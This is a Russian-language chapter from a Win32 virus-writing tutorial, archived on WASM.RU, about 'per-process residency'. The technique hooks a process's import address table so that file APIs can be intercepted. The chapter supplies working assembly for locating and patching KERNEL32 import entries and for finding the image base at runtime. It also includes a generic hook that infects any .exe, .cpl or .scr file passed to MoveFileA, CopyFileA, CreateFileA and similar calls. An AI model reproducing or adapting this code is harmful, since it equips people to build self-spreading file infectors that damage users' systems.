Путеводитель по написанию вирусов под Win32: 6. Перпроцессная резидентность — Архив WASM.RU

Все статьи

Путеводитель по написанию вирусов под Win32: 6. Перпроцессная резидентность — Архив WASM.RU

Теперь мы обсудим интересную тему для дискуссии: перпроцессная резидентность, единственный вид резидентности, доступный под всеми Win32 платформами. Я поместил эту главу отдельно от главы Ring-3, потому что эта тема слишком сложна для такой вводной главы, такой как Ring-3.

Введение

Перпроцессная резидентность впервые была реализованна Jacky Qwerty из вирусной группы 29A в 1997 году. Кроме того, что это был первый (по мнению средств массовой информации, а не в реальности - Win32.Jacky) Win32-вирус, он также был первым резидентным Win32-вирусом, использующим никогда ранее не виданную технику: перпроцессную резидентность. Теперь вы, по-видимому, удивляетесь: 'Что же такое, ядрена матрена, эта перпроцессная резидентность?'. Я уже объяснил это в одной из статей журнала DDT#1, но здесь я проведу более глубокий анализ этого метода. Когда вы вызываете функцию API, вы используете адрес, сохраненный системой во время выполнения в таблице импортов, и меняете адрес функции API на адрес своего собственного кода, заражаещего файлы при вызове перехваченной функции. Я знаю, что это немного путанно и тяжело понять, но в вирмейкерстве все вначале выглядет сложным, хотя потом становится очень простым :).

--[DDT#1.2_4]---------------------------------------------------------------

Это единственный известный мне способ сделать Win32 вирусы резидентными. Да, вы правильно прочитали: Win32, а не Win9X. Этот способ будет также работать и под WinNT. Во-первых, вы должны знать, что такое процесс. Вещь, которая меня озадачила больше всего, что люди, начавшие программировать под Win32, знают, что это такое и часто это используют, но не знают его название. В общем, когда мы запускаем Windows-приложение, мы создаем процесс :). Очень легко поянть. И в чем состоит данная резидентность? Сначала мы должны зарезервировать память, куда поместить тело вируса. Это можно сделать с помощью функции "VirtualAlloc". Но... как перехватить функции API? Наиболее полезное решение, приходящее мне в голову состоит в том, чтобы изменять адреса в таблице импортов. С моей точки зрения, это единственный возможный путь. Поскольку в импорты можно писать, наша задача во многом облегчается, так как нам не нужна помощь никаких функций VxDCall0...

У этого вида резидентности есть и слабая сторона... так как мы опираемся на таблицу импортов, мы можем работать только с импортированными функциям, и скорость заражения очень сильно зависит от файла, который мы заразили. Например, если мы заразим CMD.EXE в WinNT и у нас будут обработчики FindFirstFile(A/W) и FindNextFile(A/W), то это позволит заразить все файлы, найденные с помощью этих функций. Это сделает наш вирус очень заразным, так как эти функции будут использоваться, когда мы выполним команду DIR под WinNT. Как бы то ни было, использовать одну перпроцессную резидентность не стоит, чтобы наш вирус был более заразным, небходимо использовать другие методы, например как в Win32.Cabanas, где заражались файлы в \WINDOWS и \WINDOWS\SYSTEM. Другим хорошим способом может быть заражение определенных файлов при первом запуске в системе...

--[DDT#1.2_4]---------------------------------------------------------------

Я написал это в декабре 1998. С тех пор я понял, как это можно сделать без резервирования памяти, но тем не менее я помещу код так, как есть, чтобы вы поняли лучше.

Обработка таблицы импортов

Далее следует структура таблицы импортов.

IMAGE_IMPORT_DESCRIPTOR

А теперь посмотрим, что об этом говорит Мэтт Питрек.

DWORD Characteristics

Когда-то это могло быть набором флагов. Тем не менее Microsoft изменила ее значение и никогда не заботилась о том, чтобы обновить WINNT.H. На самом деле это поле является смещением (RVA) массива указателей, каждый из которых указывает на структуру IMAGE_IMPORT_BY_NAME.

DWORD TimeDateStamp

Время/дата, указывающая на то, когда был создан файл.

DWORD ForwarderChain

Это поле относится к форвардингу. Форвардинг - это когда одна DLL шлет ссылку на некоторые свои функции другой DLL. Например, в WinNT NTDLL.DLL (похоже) шлет некоторые из своих экспортируемых функций KERNEL32.DLL. Это поле содержит индекс в массиве FirstThunk. Функция, проиндексированная в этом поле, будет отфорваржена другой DLL. К сожалению, формат форвардинга функций недокументирован, а пример форварднутых функций сложно найти.

DWORD Name

Это RVA на строку в формате ASCIIz, содержащую имя импортируемой DLL, например "KERNEL32.DLL" и "USER32.DLL".

PIMAGE_THUNK_DATA FirstThunk

Это поле является смещением (RVA) объединения IMAGE_THUNK_DATA. Почти в каждом случае данное объединение интерпретируется как указатель на структуру IMAGE_IMPORT_BY_NAME. Если поле не является одним из этих указателей, то это вероятно ординал. Из документации не совсем понятно, можно ли импортивать функцию по ординалу, а не по имени. Важными полями являются IMAGE_IMPORT_DESCRIPTOR - это имя импортируемой DLL и два массива указателей IMAGE_IMPORT_BY_NAME. В EXE-файле два массива (на которые указывают поля Characteristics и FirstThunk) идут параллельно друг с другом и каждый завершается NULL-элементом. Указатели в обоих массивах указывают на структуру IMAGE_IMPORT_BY_NAME.

Теперь, когда вы знаете определения Мэтта Питрека, я помещу здесь необходимый код, чтобы получать из таблицы импортов адреса API-функций и адрес, где находится смещение на функцию (которую мы хотим перехватить, но об этом чуть попозже).

;---[ CUT HERE ]-------------------------------------------------------------
;
; процедура GetAPI_IT 
;  --------------------
;
; Далее следует код, который получает кое-какую информацию из таблицы импор-
; тов.

 GetAPI_IT      proc

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Ок, давайте начнем веселье. Параметры, которые требуются для этой        ;
 ; функции, и возвращаемое значение следующие:                              ; 
 ;                                                                          ;
 ; ВВОД  . EDI : Указатель на имя API-функции (чувствительно к регистру)    ;
 ; ВЫВОД . EAX : Адрес API-функции                                          ;
 ;         EBX : Адрес адреса API-функции в таблице импортов                ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        mov     dword ptr [ebp+TempGA_IT1],edi  ; Сохраняем указатель на имя
        mov     ebx,edi
        xor     al,al                           ; Ищем "\0"
        scasb
        jnz     $-1
        sub     edi,ebx                         ; Получаем размер имени
        mov     dword ptr [ebp+TempGA_IT2],edi  ; Сохраняем размер имени

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы сохраняем указатель на имя API-функции во временной           ;
 ; переменной, а затем ищем конец строки, помеченный 0, после чего вычитаем ;
 ; от нового значения EDI (которое указывает на 0) его старое значение,     ;
 ; получая, таким образом, размер имени API-функции. Просто, не правда ли?  ;
 ; Далее мы сохраняем размер API-функции в другой временной переменной.     ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

        xor     eax,eax                         ; Обнуляем EAX
        mov     esi,dword ptr [ebp+imagebase]   ; Загружаем базу образа проц.
        add     esi,3Ch                         ; Указатель на смещение 3Ch
        lodsw                                   ; Получаем заголовок PE проц.
        add     eax,dword ptr [ebp+imagebase]   ; адрес (нормализованный!)
        xchg    esi,eax
        lodsd

        cmp     eax,"EP"                        ; Это действительно PE?
        jnz     nopes                           ; Дерьмо!

        add     esi,7Ch
        lodsd                                   ; Получаем адрес
        push    eax
        lodsd                                   ; EAX = Размер
        pop     esi
        add     esi,dword ptr [ebp+imagebase]

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Первое, что мы делаем - это очищаем EAX, потому что нам не нужен мусор в ;
 ; его верхнем слове. Далее нам мы проверяем PE-сигнатуру заголовка         ;
 ; носителя. Если все в порядке, мы получаем указатель на секцию с таблицей ;
 ; импортов (.idata).                                                       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 SearchK32:
        push    esi
        mov     esi,[esi+0Ch]                   ; ESI = Укаазтель на имя
        add     esi,dword ptr [ebp+imagebase]   ; Нормализуем
        lea     edi,[ebp+K32_DLL]               ; У-ль на "KERNEL32.dll",0
        mov     ecx,K32_Size                    ; ECX = Размер этой строки
        cld                                     ; Очищаем флаг направления
        push    ecx                             ; Сохр. размер для дал.исп.
        rep     cmpsb                           ; Сравниваем байты
        pop     ecx                             ; Восст. размер
        pop     esi                             ; Восст. у-ль на импорты
        jz      gotcha                          ; Если совп., делаем переход
        add     esi,14h                         ; Получаем след. поле
        jmp     SearchK32                       ; След. проход цикла

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы заново push'им ESI. Нам необходимо его сохранить, так как это ;
 ; начало секции .idata. Затем мы получаем в ESI RVA имена (указатели),     ;
 ; после чего нормализуем это значение с базой образа, превращая, таким     ;
 ; образом его в VA. Далее мы помещаем в EDI указатель на строку            ;
 ; "KERNEL32.dll", в ECX загружаем размер строки, сравниваем две строки и   ;
 ; если они совпадают, значит мы получили еще одну подходящую строку.       ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 gotcha:
        cmp     byte ptr [esi],00h              ; Это OriginalFirstThunk 0?
        jz      nopes                           ; Отваливаем, если так
        mov     edx,[esi+10h]                   ; Получаем FirstThunk :)
        add     edx,dword ptr [ebp+imagebase]   ; Нормализуем!
        lodsd
        or      eax,eax                         ; Это 0?
        jz      nopes                           ; Дерьмо...

        xchg    edx,eax                         ; Получаем указатель на него!
        add     edx,[ebp+imagebase]
        xor     ebx,ebx

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы проверяем, равно ли поле OriginalFirstThunk NULL, и если так, ;
 ; выходим из процедуры с ошибкой. Затем мы получаем значение FirstThunk и  ;
 ; нормализуем его, прибавляя imagebase, а затем проверяем, равно ли оно 0  ;
 ; (если так, у нас проблемы, тогда выходим). Помещаем в EDX полученый      ; 
 ; адрес (FirstThunk), нормализуем, после чего в EAX мы сохраняем указатель ;
 ; на поле FirstThunk.                                                      ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 loopy:
        cmp     dword ptr [edx],00h             ; Последний RVA? Хм...
        jz      nopes
        cmp     byte ptr [edx+03h],80h          ; Ординал? Duh...
        jz      reloop

        mov     edi,dword ptr [ebp+TempGA_IT1]  ; Получ. указ. на имя API-ф-ции
        mov     ecx,dword ptr [ebp+TempGA_IT2]  ; Получаем размер имени
        mov     esi,[edx]                       ; Получаем текущую строку
        add     esi,dword ptr [ebp+imagebase]   
        inc     esi
        inc     esi
        push    ecx                             ; Сохраняем ее размер
        rep     cmpsb                           ; Сохраняем обе строки
        pop     ecx                             ; Восстанавливаем размер
        jz      wegotit
 reloop:
        inc     ebx                             ; Увеличиваем значение указателя
        add     edx,4                           ; Получаем указатель на другую 
        loop    loopy                           ; импортированную API-функцию

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Сначала мы проверяем, не находимся ли мы в последнем элементе массива    ;
 ; (который отмечен символом null), и если так, заканчиваем работу. Затем   ;
 ; мы проверяем, является ли элемент ординалом, если так, мы получаем еще   ;
 ; один. Далее идет самое интересное: мы помещаем в EDI сохраненный ранее   ;
 ; указатель на имя API-функции, которую мы искали, в ECX у нас находится   ;
 ; размер строки, и мы помещаем в ESI указатель на текущую API-функцию в    ;
 ; таблице импортов. Мы делаем сравнение между этими двумя строками, и если ;
 ; они не совпадают, мы получаем следующую, пока не найдем ее или не        ;
 ; достигнем последней API-функции в таблице импортов.                      ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 wegotit:
        shl     ebx,2                        ; Умножаем на 4 (размер dword)
        add     ebx,eax                      ; Добавляем к значению FirstThunk
        mov     eax,[ebx]                    ; EAX = адрес API-функции ;)
        test    al,0                         ; Это чтобы избежать перехода и
        org     $-1                          ; немного соптимизировать :)
 nopes:
        stc                                  ; Ошибка!
        ret

 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
 ; Очень просто: поскольку счетчик у нас находится в EBX, а массив был      ;
 ; массивом DWORD'ов, мы умножаем на 4 (чтобы получить относительное        ;
 ; смещение, которое отмечает адрес API), а после этого у нас находится в   ;
 ; EBX указатель на желаемый адрес API в таблице импортов, а в EAX у нас    ;
 ; находится адрес API-функции. Совершенно :).                              ;
 ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

 GetAPI_IT      endp

;---[ CUT HERE ]-------------------------------------------------------------

Теперь мы знаем, как играть с таблицей импортов. Но нам нужно еще кое-что.

Получение базы образа во время выполнения

Одна из самых наиболее частых заблуждений - это мнение, что база образа будет всегда одной и той же или всегда будет равна 400000h. Но на самом деле, все далеко не так. Независимо от того, какая база образа будет указана в заголовке вашего файла, система может легко поменять во время запуска, поэтому мы будем пытаться получить доступ к неверному адресу и получить неожиданные результаты. Получить базу образа можно достаточно просто. Просто используйте обычную процедуру получения дельта-смещения.

 virus_start:
        call    tier                            ; Push'им в ESP адрес возврата
 tier:  pop     ebp                             ; Получаем адрес возврата
        sub     ebp,offset realcode             ; И отнимаем начальное смещение

Ок? Давайте представим, что, например, выполнение началось по адресу 401000h (как почти во всех слинкованных TLINK'ом файлах). Поэтому когда мы делаем POP, в EBP у нас будет что-то вроде 00401005h. Тогда что вы получите, если вычтете от него virus_start, а от результата мы снова вычтем текущий EIP (который во всех TLINKованных файлах равен 1000h)? Да, мы получим базу образа! Таким образом, мы будем делать следующее:

 virus_start:
        call    tier                        ; Push'им в ESP адрес возврата
 tier:  pop     ebp                         ; Получаем текущий адрес
        mov     eax,ebp
        sub     ebp,offset realcode         ; И отнимаем начальное смещение
        sub     eax,00001000h               ; Отнимаем текущий EIP (должен
 NewEIP equ     $-4                         ; быть пропатчен во время заражения
        sub     eax,(tier-virus_start)      ; Отнимаем остальное :)

И не забудьте пропатчить переменную NewEIP во время заражения (если модифицируете EIP), что она всегда была равна переменной по смещению 28h заголовка PE, то есть RVA EIP программы :).

[ Мой перехватчик API-функций ]

Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:

        db      ASCIIz_API_Name
        dd      offset (API_Handler)

Например:

        db      "CreateFileA",0
        dd      offset HookCreateFileA

HookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:

;---[ CUT HERE ]-------------------------------------------------------------

 HookAllAPIs:
        lea     edi,[ebp+@@Hookz]            ; Указатель на первую API-функцию
 nxtapi:
        push    edi                          ; Сохраняем указатель
        call    GetAPI_IT                    ; Получаем его из таблицы импортов
        pop     edi                          ; Восстанавливаем указатель
        jc      Next_IT_Struc_               ; Не получилось? Проклятье...
                                             ; EAX = адрес API-функции
                                             ; EBX = указатель API-функции
                                             ; в таблице импортов

        xor     al,al                        ; Достигаем конца имени API-функции
        scasb
        jnz     $-1

        mov     eax,[edi]                    ; Получаем смещение обработчика
        add     eax,ebp                      ; Приводим в соотве. с дельта-см.
        mov     [ebx],eax                    ; И помещаем в импорты!
 Next_IT_Struc:
        add     edi,4                        ; Получаем следующий элемент ст-ры!
        cmp     byte ptr [edi],"."           ; Достигли пследней API-ф-ции? Гр..
        jz      AllHooked                    ; Мы перехватили все
        jmp     nxtapi                       ; Следующий оборот цикла
 AllHooked:
        ret

 Next_IT_Struc_:
        xor     al,al                        ; Получаем конец строки
        scasb
        jnz     $-1
        jmp     Next_IT_Struc                ; И возвращаемся обратно :)

 @@Hookz label   byte
        db      "MoveFileA",0                ; Несколько примеров 
        dd      (offset HookMoveFileA)

        db      "CopyFileA",0
        dd      (offset HookCopyFileA)

        db      "DeleteFileA",0
        dd      (offset HookDeleteFileA)

        db      "CreateFileA",0
        dd      (offset HookCreateFileA)

        db      "."                             ; Конец массива :)
;---[ CUT HERE ]-------------------------------------------------------------

Я надеюсь, что здесь все достаточно понятно :).

Универсальный перехватчик

Возможно вы помните, что есть некоторые API-функции, которые принимают последним заPUSHенным параметром указатель на файл (который может быть исполняемым), поэтому мы можем их перехватить и применить универсальный перехватчик, который сначала проверяет расширение файла, и если он исполняемый, мы можем заразить его без всяких проблем :).

;---[ CUT HERE ]-------------------------------------------------------------

 ; Несколько различных хуков :)

 HookMoveFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_MoveFileA]                ; передаем контроль
                                                ; оригинальной API-функции

 HookCopyFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_CopyFileA]                ; передаем контроль
                                                ; оригинальной API-функции

 HookDeleteFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_DeleteFileA]              ; передаем контроль
                                                ; оригинальной API-функции

 HookCreateFileA:
        call    DoHookStuff                     ; обрабатываем этот вызов
        jmp     [eax+_CreateFileA]              ; передаем контроль
                                                ; оригинальной API-функции

 ; The generic hooker!!

 ; Универсальный перехватчик!!	

 DoHookStuff:
        pushad                      ; Push'им все регистры
        pushfd                      ; Push'им все флаги
        call    GetDeltaOffset      ; Получаем дельта-смещение в EBP
        mov     edx,[esp+2Ch]       ; Получаем имя файла, который нужно заразить
        mov     esi,edx             ; ESI = EDX = file to check
 reach_dot:
        lodsb                       ; Получаем символ
        or      al,al               ; Найден NULL? Дерьмо...
        jz      ErrorDoHookStuff    ; Тогда сваливаем
        cmp     al,"."              ; Найдена точка? Интересно...
        jnz     reach_dot           ; Если нет, следующий оборот цикла
        dec     esi                 ; Фиксим
        lodsd                       ; Помещаем расширение в EAX
        or      eax,20202020h       ; Приводим строку к нижнему регистру
        cmp     eax,"exe."          ; Это EXE? Заражаем!!!
        jz      InfectWithHookStuff
        cmp     eax,"lpc."          ; Это CPL? Заражаем!!!!
        jz      InfectWithHookStuff
        cmp     eax,"rcs."          ; Это SCR? Заражаем!!!!
        jnz     ErrorDoHookStuff
 InfectWithHookStuff:
        xchg    edi,edx             ; EDI = имя файла, который нужно заразить
        call    InfectEDI           ; Заражаем файл!! ;)
 ErrorDoHookStuff:
        popfd                       ; Восстанавливаем все предохраненные 
        popad                       ; регистры, чтобы ничего не случилось :)
        push    ebp
        call    GetDeltaOffset      ; Получаем дельта-смещение
        xchg    eax,ebp             ; Помещаем дельта-смещение в EAX
        pop     ebp
        ret

;---[ CUT HERE ]-------------------------------------------------------------

Вот некоторые API-функции, которые можно перехватить с помощью этой универсальной процедуры: MoveFileA, CopyFileA, GetFullPathNameA, DeleteFileA, WinExec, CreateFileA, CreateProcessA, GetFileAttributesA, SetFileAttributesA, _lopen, MoveFileExA, CopyFileExA, OpenFile.

Заключение

Если что-то непонятно, пишите мне (автору этого текста, а не переводчику! - прим. пер.). Я бы мог привести пример простого пер-процессного резидентного вируса, но единственный подобный вирус, который я написал, слишком сложен и у него слишком много фич, поэтому он будет для вас непонятен :).

2002-2013 (c) wasm.ru